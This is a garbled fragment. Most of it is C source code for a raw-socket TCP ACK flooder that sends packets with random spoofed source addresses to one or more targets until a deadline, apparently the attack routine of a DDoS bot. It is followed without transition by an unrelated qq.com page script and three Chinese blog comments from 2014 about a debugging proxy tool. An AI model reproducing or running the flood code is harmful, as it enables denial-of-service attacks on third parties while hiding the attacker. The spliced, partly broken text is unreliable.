u_long th_ack; /* acknowledgement number */
u_int th_x2:4, /* unused */
th_off:4; /* data offset */
u_char th_flags; /* flags field */
u_short th_win; /* window size */
u_short th_sum; /* tcp checksum */
u_short th_urp; /* urgent pointer */
};
struct tcpopt_hdr {
u_char type; /* type */
u_char len; /* length */
u_short value; /* value */
};
struct pseudo_hdr { /* See RFC 793 Pseudo Header */
u_long saddr, daddr; /* source and dest address */
u_char mbz, ptcl; /* zero and protocol */
u_short tcpl; /* tcp length */
};
struct packet {
struct ip/*_hdr*/ ip;
struct tcphdr tcp;
/* struct tcpopt_hdr opt; */
};
struct cksum {
struct pseudo_hdr pseudo;
struct tcphdr tcp;
};
struct packet packet;
struct cksum cksum;
struct sockaddr_in s_in;
int sock;
/* This is a reference internet checksum implimentation, not very fast */
inline u_short in_cksum(u_short *addr, int len)
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits. */
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
void stream (int t, int until, u_long dstaddr, char *dstaddrs[])
{
struct timespec ts;
int on = 1;
if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return;
if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return;
srand((time(NULL) ^ getpid()) + getppid());
memset(&packet, 0, sizeof packet);
ts.tv_sec = 0;
ts.tv_nsec = 10;
packet.ip.ip_hl = 5;
packet.ip.ip_v = 4;
packet.ip.ip_p = IPPROTO_TCP;
packet.ip.ip_tos = 0x08;
packet.ip.ip_id = rand();
packet.ip.ip_len = FIX(sizeof packet);
packet.ip.ip_off = 0; /* IP_DF? */
packet.ip.ip_ttl = 255;
if (!t)
packet.ip.ip_dst.s_addr = dstaddr;
packet.tcp.th_flags = TH_ACK;
packet.tcp.th_win = htons(16384);
packet.tcp.th_seq = random();
packet.tcp.th_ack = 0;
packet.tcp.th_off = 5; /* 5 */
packet.tcp.th_urp = 0;
packet.tcp.th_sport = rand();
packet.tcp.th_dport = rand();
if (!t)
cksum.pseudo.daddr = dstaddr;
cksum.pseudo.mbz = 0;
cksum.pseudo.ptcl = IPPROTO_TCP;
cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));
s_in.sin_family = AF_INET;
if (!t)
s_in.sin_addr.s_addr = dstaddr;
s_in.sin_port = packet.tcp.th_dport;
while (time(0) <= until) {
if (t) {
int x;
for (x = 0 ; dstaddrs[x] != NULL ; x++) {
if (!strchr(dstaddrs[x], '.')) break;
packet.ip.ip_dst.s_addr = inet_addr(dstaddrs[x]);
cksum.pseudo.daddr = inet_addr(dstaddrs[x]);
s_in.sin_addr.s_addr = inet_addr(dstaddrs[x]);
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
}
} else {
cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
++packet.ip.ip_id;
++packet.tcp.th_sport;
++packet.tcp.th_seq;
s_in.sin_port = packet.tcp.th_dport = rand();
packet.ip.ip_sum = 0;
packet.tcp.th_sum = 0;
cksum.tcp = packet.tcp;
packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);
sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
}
}
}
void nlstr (char *str) {
if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '';
}
h
var g_domain=”qq.com”;
document.domain = g_domain;
document.createElement(‘header’);
document.createElement(‘footer’);
document.createElement(‘section’);
document.createElement(‘article’);
document.createElement(‘aside’);
document.createElement(‘nav’);
//foot #**?/urse/url/https/
var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}
<!– html5 ac\:_.|+*–*+|._:/bo –>
huugle 2014 年 7 月 15 日
其实我老觉得替换的这种如果能做成浏览器插件是否更加的方便.
TAT.Rehorn 2014 年 7 月 15 日
有人做了 chrome 插件版本,运用场景比较局限,只能调试浏览器的东西,无法抓取系统级的请求。当然不排除后面 chrome 开放更高级的系统 api 权限。不过很赞同你的想法,chrome 的开发者工具,应该在未来还是非常有现象空间的。
tcdona 2014 年 7 月 15 日
~~mark,支持牛作